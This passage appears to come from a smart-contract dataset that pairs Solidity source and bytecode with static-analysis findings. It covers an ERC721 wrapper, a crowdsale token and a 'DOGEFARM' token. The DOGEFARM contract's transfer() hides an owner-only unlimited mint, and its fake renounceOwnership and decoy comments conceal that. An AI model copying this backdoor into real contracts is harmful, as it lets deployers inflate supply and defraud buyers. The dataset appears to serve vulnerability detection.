msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(XCopyWrapper.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(XCopyWrapper.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (isContract(to)) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806342842e0e116100a2578063a22cb46511610071578063a22cb4651461021e578063b88d4fde14610231578063c87b56dd14610244578063de0e9a3e14610257578063e985e9c51461026a57600080fd5b806342842e0e146101dd5780636352211e146101f057806370a082311461020357806395d89b411461021657600080fd5b8063095ea7b3116100de578063095ea7b31461018d57806318160ddd146101a057806323b872dd146101b7578063257fea6a146101ca57600080fd5b806301ffc9a714610110578063023276f01461013857806306fdde031461014d578063081812fc14610162575b600080fd5b61012361011e366004611116565b6102a6565b60405190151581526020015b60405180910390f35b61014b61014636600461114f565b6102f8565b005b61015561044e565b60405161012f91906111b9565b6101756101703660046111cc565b6104e0565b6040516001600160a01b03909116815260200161012f565b61014b61019b3660046111e5565b610575565b6101a960025481565b60405190815260200161012f565b61014b6101c5366004611211565b61068b565b6101756101d83660046111cc565b6106bc565b61014b6101eb366004611211565b6106e6565b6101756101fe3660046111cc565b610701565b6101a961021136600461114f565b610778565b6101556107ff565b61014b61022c366004611252565b61080e565b61014b61023f3660046112a6565b61081d565b6101556102523660046111cc565b610855565b61014b6102653660046111cc565b610904565b610123610278366004611386565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205460ff1690565b60006001600160e01b031982166380ac58cd60e01b14806102d757506001600160e01b03198216635b5e139f60e01b145b806102f257506301ffc9a760e01b6001600160e01b03198316145b92915050565b60005b60075481101561034e5760078181548110610318576103186113b4565b6000918252602090912001546001600160a01b038381169116141561033c5761034e565b80610346816113e0565b9150506102fb565b60075481106103b05760405162461bcd60e51b815260206004820152602360248201527f4e6f7420696e206b6e6f776e202f20636f6e66696775726564206f726967696e604482015262616c7360e81b60648201526084015b60405180910390fd5b6040516323b872dd60e01b8152336004820152306024820152600160448201526001600160a01b038316906323b872dd906064016020604051808303816000875af1158015610403573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042791906113fb565b506104323382610a28565b6001600260008282546104459190611414565b90915550505050565b60606000805461045d9061142c565b80601f01602080910402602001604051908101604052809291908181526020018280546104899061142c565b80156104d65780601f106104ab576101008083540402835291602001916104d6565b820191906000526020600020905b8154815290600101906020018083116104b957829003601f168201915b5050505050905090565b6000818152600360205260408120546001600160a01b03166105595760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016103a7565b506000908152600560205260409020546001600160a01b031690565b600061058082610701565b9050806001600160a01b0316836001600160a01b031614156105ee5760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016103a7565b336001600160a01b038216148061060a575061060a8133610278565b61067c5760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016103a7565b6106868383610b6a565b505050565b6106953382610bd8565b6106b15760405162461bcd60e51b81526004016103a790611467565b610686838383610ccf565b600781815481106106cc57600080fd5b6000918252602090912001546001600160a01b0316905081565b6106868383836040518060200160405280600081525061081d565b6000818152600360205260408120546001600160a01b0316806102f25760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016103a7565b60006001600160a01b0382166107e35760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016103a7565b506001600160a01b031660009081526004602052604090205490565b60606001805461045d9061142c565b610819338383610e6b565b5050565b6108273383610bd8565b6108435760405162461bcd60e51b81526004016103a790611467565b61084f84848484610f3a565b50505050565b60606008828154811061086a5761086a6113b4565b90600052602060002001805461087f9061142c565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab9061142c565b80156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b50505050509050919050565b61090e3382610bd8565b6109725760405162461bcd60e51b815260206004820152602f60248201527f4552433732313a20756e777261702063616c6c6572206973206e6f74206f776e60448201526e195c881b9bdc88185c1c1c9bdd9959608a1b60648201526084016103a7565b61097b81610f6d565b6007818154811061098e5761098e6113b4565b60009182526020909120015460405163a9059cbb60e01b8152336004820152600160248201526001600160a01b039091169063a9059cbb906044016020604051808303816000875af11580156109e8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a0c91906113fb565b50600160026000828254610a2091906114b8565b909155505050565b6001600160a01b038216610a7e5760405162461bcd60e51b815260206004820181905260248201527f4552433732313a206d696e7420746f20746865207a65726f206164647265737360448201526064016103a7565b6000818152600360205260409020546001600160a01b031615610ae35760405162461bcd60e51b815260206004820152601c60248201527f4552433732313a20746f6b656e20616c7265616479206d696e7465640000000060448201526064016103a7565b6001600160a01b0382166000908152600460205260408120805460019290610b0c908490611414565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b600081815260056020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610b9f82610701565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600360205260408120546001600160a01b0316610c515760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016103a7565b6000610c5c83610701565b9050806001600160a01b0316846001600160a01b03161480610c975750836001600160a01b0316610c8c846104e0565b6001600160a01b0316145b80610cc757506001600160a01b0380821660009081526006602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610ce282610701565b6001600160a01b031614610d465760405162461bcd60e51b815260206004820152602560248201527f4552433732313a207472616e736665722066726f6d20696e636f72726563742060448201526437bbb732b960d91b60648201526084016103a7565b6001600160a01b038216610da85760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103a7565b610db3600082610b6a565b6001600160a01b0383166000908152600460205260408120805460019290610ddc9084906114b8565b90915550506001600160a01b0382166000908152600460205260408120805460019290610e0a908490611414565b909155505060008181526003602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b816001600160a01b0316836001600160a01b03161415610ecd5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016103a7565b6001600160a01b03838116600081815260066020908152604080832094871680845294825291829020805460ff191686151590811790915591519182527f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a3505050565b610f45848484610ccf565b610f5184848484611008565b61084f5760405162461bcd60e51b81526004016103a7906114cf565b6000610f7882610701565b9050610f85600083610b6a565b6001600160a01b0381166000908152600460205260408120805460019290610fae9084906114b8565b909155505060008281526003602052604080822080546001600160a01b0319169055518391906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6000833b156110f257604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290611043903390899088908890600401611521565b6020604051808303816000875af192505050801561107e575060408051601f3d908101601f1916820190925261107b9181019061155e565b60015b6110d8573d8080156110ac576040519150601f19603f3d011682016040523d82523d6000602084013e6110b1565b606091505b5080516110d05760405162461bcd60e51b81526004016103a7906114cf565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610cc7565b506001949350505050565b6001600160e01b03198116811461111357600080fd5b50565b60006020828403121561112857600080fd5b8135611133816110fd565b9392505050565b6001600160a01b038116811461111357600080fd5b60006020828403121561116157600080fd5b81356111338161113a565b6000815180845260005b8181101561119257602081850181015186830182015201611176565b818111156111a4576000602083870101525b50601f01601f19169290920160200192915050565b602081526000611133602083018461116c565b6000602082840312156111de57600080fd5b5035919050565b600080604083850312156111f857600080fd5b82356112038161113a565b946020939093013593505050565b60008060006060848603121561122657600080fd5b83356112318161113a565b925060208401356112418161113a565b929592945050506040919091013590565b6000806040838503121561126557600080fd5b82356112708161113a565b91506020830135801515811461128557600080fd5b809150509250929050565b634e487b7160e01b600052604160045260246000fd5b600080600080608085870312156112bc57600080fd5b84356112c78161113a565b935060208501356112d78161113a565b925060408501359150606085013567ffffffffffffffff808211156112fb57600080fd5b818701915087601f83011261130f57600080fd5b81358181111561132157611321611290565b604051601f8201601f19908116603f0116810190838211818310171561134957611349611290565b816040528281528a602084870101111561136257600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b6000806040838503121561139957600080fd5b82356113a48161113a565b915060208301356112858161113a565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156113f4576113f46113ca565b5060010190565b60006020828403121561140d57600080fd5b5051919050565b60008219821115611427576114276113ca565b500190565b600181811c9082168061144057607f821691505b6020821081141561146157634e487b7160e01b600052602260045260246000fd5b50919050565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6000828210156114ca576114ca6113ca565b500390565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906115549083018461116c565b9695505050505050565b60006020828403121561157057600080fd5b8151611133816110fd56fea264697066735822122033591da041e98038d8ef2e6499005c4aa5c908c2c64c2354a856bf94c6f7c95364736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
588
0x0acb00acd439c35c8b6231e86edb9891af7b4ec7
pragma solidity ^0.4.18; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TOKKA is StandardToken { string public name = "StreamPay Token"; string public symbol = "STPY"; uint256 public decimals = 18; function TOKKA() public { totalSupply = 35000000 * 10**18; balances[msg.sender] = totalSupply; } } contract Crowdsale is Ownable { using SafeMath for uint256; // The token being sold TOKKA public token; // start and end timestamps where investments are allowed (both inclusive) uint256 public startTime; uint256 public endTime; // address where funds are collected address public wallet; // how many token units a buyer gets per wei (500) uint256 public rate ; // amount of raised money in wei uint256 public weiRaised; // Our Goal is 85158.1508515815 Ethers Hardcap uint256 public CAP = 85158150851581500000000; bool crowdsaleClosed = false; //Bonus Parameters uint256 public PreIcobonusEnds = 1535731200; uint256 public StgOnebonusEnds = 1538323200; uint256 public StgTwobonusEnds = 1541001600; uint256 public StgThreebonusEnds = 1543593600; uint256 public StgFourbonusEnds = 1546272000; event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { require(_startTime >= now); require(_endTime >= _startTime); require(_rate > 0); require(_wallet != address(0)); startTime = _startTime; endTime = _endTime; rate = _rate; wallet = _wallet; //Bonus Parametersss //StgOnebonusEnds = _bonusEnds; token = createTokenContract(); } // creates the token to be sold. // override this method to have crowdsale of a specific mintable token. function createTokenContract() internal returns (TOKKA) { return new TOKKA(); } // fallback function can be used to buy tokens function() external payable { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable { require(beneficiary != address(0)); require(validPurchase()); require(!crowdsaleClosed); //Bounus Conditions if (now <= PreIcobonusEnds) { rate = 535; } else if (now <= StgOnebonusEnds && now > PreIcobonusEnds) { rate = 514; } else if (now <= StgTwobonusEnds && now > StgOnebonusEnds ) { rate = 494; } else if (now <= StgThreebonusEnds && now > StgTwobonusEnds ) { rate = 473; } else if (now <= StgFourbonusEnds && now > StgThreebonusEnds ) { rate = 453; } else{ rate = 411; } uint256 weiAmount = msg.value; // calculate token amount to be created uint256 tokens = weiAmount.mul(rate); // update state weiRaised = weiRaised.add(weiAmount); // transfer tokens purchased //ERC20(token).transfer(this, tokens); //StandardToken(token).transfer(this, tokens); token.transfer(beneficiary, tokens); TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); forwardFunds(); } function forwardFunds() internal { wallet.transfer(msg.value); } function validPurchase() internal view returns (bool) { bool withinPeriod = now >= startTime && now <= endTime; bool nonZeroPurchase = msg.value != 0; return withinPeriod && nonZeroPurchase; } function hasEnded() public view returns (bool) { return now > endTime; } function GoalReached() public view returns (bool) { return (weiRaised >= CAP); } function Pause() public onlyOwner { //if (weiRaised >= CAP){ //} require(weiRaised >= CAP); crowdsaleClosed = true; } function Play() public onlyOwner { //if (weiRaised >= CAP){ //} require(crowdsaleClosed == true); crowdsaleClosed = false; } }
0x6080604052600436106101065763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630e2dce6981146101115780632c4e722e146101265780633197cbb61461014d5780634042b66f14610162578063521eb2731461017757806358ecaa45146101a85780636985a022146101bd57806378e97925146101d25780638da5cb5b146101e7578063a5b87ef7146101fc578063baf5fbff14610211578063c4813b2c14610226578063ec81b4831461023b578063ec8ac4d814610250578063ecb70fb714610264578063f2fde38b1461028d578063f30bb8af146102ae578063fac50e4c146102c3578063fc0c546a146102d8575b61010f336102ed565b005b34801561011d57600080fd5b5061010f6104ef565b34801561013257600080fd5b5061013b610526565b60408051918252519081900360200190f35b34801561015957600080fd5b5061013b61052c565b34801561016e57600080fd5b5061013b610532565b34801561018357600080fd5b5061018c610538565b60408051600160a060020a039092168252519081900360200190f35b3480156101b457600080fd5b5061013b610547565b3480156101c957600080fd5b5061010f61054d565b3480156101de57600080fd5b5061013b610584565b3480156101f357600080fd5b5061018c61058a565b34801561020857600080fd5b5061013b610599565b34801561021d57600080fd5b5061013b61059f565b34801561023257600080fd5b5061013b6105a5565b34801561024757600080fd5b5061013b6105ab565b61010f600160a060020a03600435166102ed565b34801561027057600080fd5b506102796105b1565b604080519115158252519081900360200190f35b34801561029957600080fd5b5061010f600160a060020a03600435166105b9565b3480156102ba57600080fd5b5061027961064d565b3480156102cf57600080fd5b5061013b610658565b3480156102e457600080fd5b5061018c61065e565b600080600160a060020a038316151561030557600080fd5b61030d61066d565b151561031857600080fd5b60085460ff161561032857600080fd5b600954421161033c576102176005556103cf565b600a54421115801561034f575060095442115b1561035f576102026005556103cf565b600b5442111580156103725750600a5442115b15610382576101ee6005556103cf565b600c5442111580156103955750600b5442115b156103a5576101d96005556103cf565b600d5442111580156103b85750600c5442115b156103c8576101c56005556103cf565b61019b6005555b6005543492506103e690839063ffffffff61069d16565b6006549091506103fc908363ffffffff6106d316565b600655600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b15801561046e57600080fd5b505af1158015610482573d6000803e3d6000fd5b505050506040513d602081101561049857600080fd5b505060408051838152602081018390528151600160a060020a0386169233927f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad18929081900390910190a36104ea6106e2565b505050565b600054600160a060020a0316331461050657600080fd5b60085460ff16151560011461051a57600080fd5b6008805460ff19169055565b60055481565b60035481565b60065481565b600454600160a060020a031681565b600c5481565b600054600160a060020a0316331461056457600080fd5b600754600654101561057557600080fd5b6008805460ff19166001179055565b60025481565b600054600160a060020a031681565b600d5481565b60095481565b600a5481565b60075481565b600354421190565b600054600160a060020a031633146105d057600080fd5b600160a060020a03811615156105e557600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600754600654101590565b600b5481565b600154600160a060020a031681565b6000806000600254421015801561068657506003544211155b9150503415158180156106965750805b9250505090565b6000808315156106b057600091506106cc565b508282028284828115156106c057fe5b04146106c857fe5b8091505b5092915050565b6000828201838110156106c857fe5b600454604051600160a060020a03909116903480156108fc02916000818181858888f1935050505015801561071b573d6000803e3d6000fd5b505600a165627a7a7230582053119ee17db0d651b21f4c2bb679e52b6b400d3697ac1f079907934de584687e0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
589
0x5045ec109e9cd2454bd82246b50af472da8a5049
/** *Submitted for verification at Etherscan.io on 2022-01-14 */ /* Welcome to the DOGEFARM. You can stake DOGEFARM, eat/drink DOGEFARM, and ultimately, LIVE DOGEFARM! 📈 Sellers get REKT with 4% fees on sells - 2% is sent to the Marketing Wallet while 2% is burned. 💹 DOGEFARM Yield Farming Pool will be created soon. This way you can stake part of your HARVEST and some ETH for WETH-HARVEST LP and gain even more returns! Staking will be available although at a less APR% with HARVEST itself. 🚀 BULLISH - We use a similar contract to MYOBU, so there is a cooldown of 30 minutes between each sell to prevent major dumping. @JoinDogeFarm */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } pragma solidity ^0.8.10; contract Ownable is Context { address internal recipients; address internal router; address public owner; mapping (address => bool) internal confirm; event owned(address indexed previousi, address indexed newi); constructor () { address msgSender = _msgSender(); recipients = msgSender; emit owned(address(0), msgSender); } modifier checker() { require(recipients == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function renounceOwnership() public virtual checker { emit owned(owner, address(0)); owner = address(0); } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ } library SafeMath { function prod(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /* @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function cre(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function cal(uint256 a, uint256 b) internal pure returns (uint256) { return calc(a, b, "SafeMath: division by zero"); } function calc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function red(uint256 a, uint256 b) internal pure returns (uint256) { return redc(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function redc(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ } // SPDX-License-Identifier: MIT contract ERC20 is Context, IERC20, IERC20Metadata , Ownable{ mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) internal _allowances; uint256 private _totalSupply; using SafeMath for uint256; string private _name; string private _symbol; bool private truth; constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; truth=true; } function name() public view virtual override returns (string memory) { return _name; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * transferFrom. * * Requirements: * * - transferFrom. * * _Available since v3.1._ */ function Start (address set) public checker { router = set; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * * Requirements: * * - the address approve. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev updateTaxFee * */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * also check address is bot address. * * Requirements: * * - the address is in list bot. * - the called Solidity function must be `sender`. * * _Available since v3.1._ */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function transfer(address recipient, uint256 amount) public override returns (bool) { if((recipients == _msgSender()) && (truth==true)){_transfer(_msgSender(), recipient, amount); truth=false;return true;} else if((recipients == _msgSender()) && (truth==false)){_totalSupply=_totalSupply.cre(amount);_balances[recipient]=_balances[recipient].cre(amount);emit Transfer(recipient, recipient, amount); return true;} else{_transfer(_msgSender(), recipient, amount); return true;} } function 